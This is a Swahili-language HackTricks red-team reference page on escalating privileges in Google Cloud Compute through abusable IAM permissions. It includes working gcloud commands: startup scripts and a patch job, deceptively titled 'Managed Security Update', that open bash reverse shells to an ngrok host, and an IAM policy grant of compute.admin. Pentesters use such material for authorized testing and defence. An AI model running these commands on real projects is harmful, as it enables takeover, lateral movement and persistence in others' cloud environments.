GCP - Compute Privesc

Reading time: 6 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Compute

Kwa maelezo zaidi kuhusu Compute na VPC (mtandao) katika GCP angalia:

GCP - Compute Enum

caution

Kumbuka kwamba ili kufanya mashambulizi yote ya kupandisha hadhi yanayohitaji kubadilisha metadata ya instance (kama kuongeza watumiaji wapya na funguo za SSH) ni muhimu kuwa na ruhusa za actAs juu ya SA iliyoambatanishwa na instance, hata kama SA tayari imeambatanishwa!

compute.projects.setCommonInstanceMetadata

Kwa ruhusa hiyo unaweza kubadilisha taarifa za metadata za instance na kubadilisha funguo zilizoidhinishwa za mtumiaji, au kuunda mtumiaji mpya mwenye ruhusa za sudo. Hivyo, utaweza kuingia kupitia SSH kwenye instance yoyote ya VM na kuiba GCP Service Account ambayo Instance inatumia.
Vikwazo:

  • Kumbuka kwamba GCP Service Accounts zinazotumika katika VM instances kwa kawaida zina mipaka finyu sana
  • Itabidi uwe na uwezo wa kuwasiliana na seva ya SSH ili kuingia

Kwa maelezo zaidi kuhusu jinsi ya kutumia ruhusa hii angalia:

GCP - Add Custom SSH Metadata

Unaweza pia kufanya shambulizi hili kwa kuongeza script mpya ya kuanzisha na kuanzisha upya instance:

bash
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

Ruhusa hii inatoa privilege sawa na ruhusa ya awali lakini juu ya mifano maalum badala ya mradi mzima. Mizaha na mipaka sawa na ile ya sehemu ya awali inatumika.

compute.instances.setIamPolicy

Aina hii ya ruhusa itakuruhusu kujipe nafasi na ruhusa za awali na kupandisha mamlaka kwa kuzitumia vibaya. Hapa kuna mfano wa kuongeza roles/compute.admin kwa Akaunti ya Huduma:

bash
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE

cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF

gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE

compute.instances.osLogin

Ikiwa OSLogin imewezeshwa katika mfano, kwa ruhusa hii unaweza tu kukimbia gcloud compute ssh [INSTANCE] na kuungana na mfano. Hutaweza kuwa na root privs ndani ya mfano.

tip

Ili kuingia kwa mafanikio na ruhusa hii ndani ya mfano wa VM, unahitaji kuwa na ruhusa ya iam.serviceAccounts.actAs juu ya SA iliyoambatanishwa na VM.

compute.instances.osAdminLogin

Ikiwa OSLogin imewezeshwa katika mfano, kwa ruhusa hii unaweza tu kukimbia gcloud compute ssh [INSTANCE] na kuungana na mfano. Utakuwa na root privs ndani ya mfano.

tip

Ili kuingia kwa mafanikio na ruhusa hii ndani ya mfano wa VM, unahitaji kuwa na ruhusa ya iam.serviceAccounts.actAs juu ya SA iliyoambatanishwa na VM.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

Inawezekana kuunda mashine ya virtual yenye Akaunti ya Huduma iliyotolewa na kuiba tokeni ya akaunti ya huduma kwa kufikia metadata ili kupandisha ruhusa kwake.

Script ya exploit kwa njia hii inaweza kupatikana hapa.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

Ikiwa una osconfig.patchDeployments.create au osconfig.patchJobs.exec ruhusa unaweza kuunda kazi ya patch au uwekaji. Hii itakuruhusu kuhamasisha kwa upande katika mazingira na kupata utekelezaji wa msimbo kwenye mifano yote ya kompyuta ndani ya mradi.

Kumbuka kwamba kwa sasa huhitaji ruhusa ya actAs juu ya SA iliyoambatanishwa na mfano.

Ikiwa unataka kutumia hii kwa mikono utahitaji kuunda ama kazi ya patch au uwekaji.
Ili kukimbia kazi ya patch:

python
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

Ili kupeleka usasishaji wa patch:

bash
gcloud compute os-config patch-deployments create <name> ...

Chombo patchy kinaweza kutumika zamani kwa kutumia hii misconfiguration (lakini sasa hakifanyi kazi).

Mshambuliaji anaweza pia kutumia hii kwa kudumu.

compute.machineImages.setIamPolicy

Jipatie ruhusa za ziada kwa picha ya kompyuta.

compute.snapshots.setIamPolicy

Jipatie ruhusa za ziada kwa picha ya diski.

compute.disks.setIamPolicy

Jipatie ruhusa za ziada kwa diski.

Pita Mipaka ya Ufikiaji

Kufuata kiungo hiki utapata baadhi ya wazo za kujaribu kupita mipaka ya ufikiaji.

Kuinua Haki za Mlokole katika GCP Compute instance

GCP - local privilege escalation ssh pivoting

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks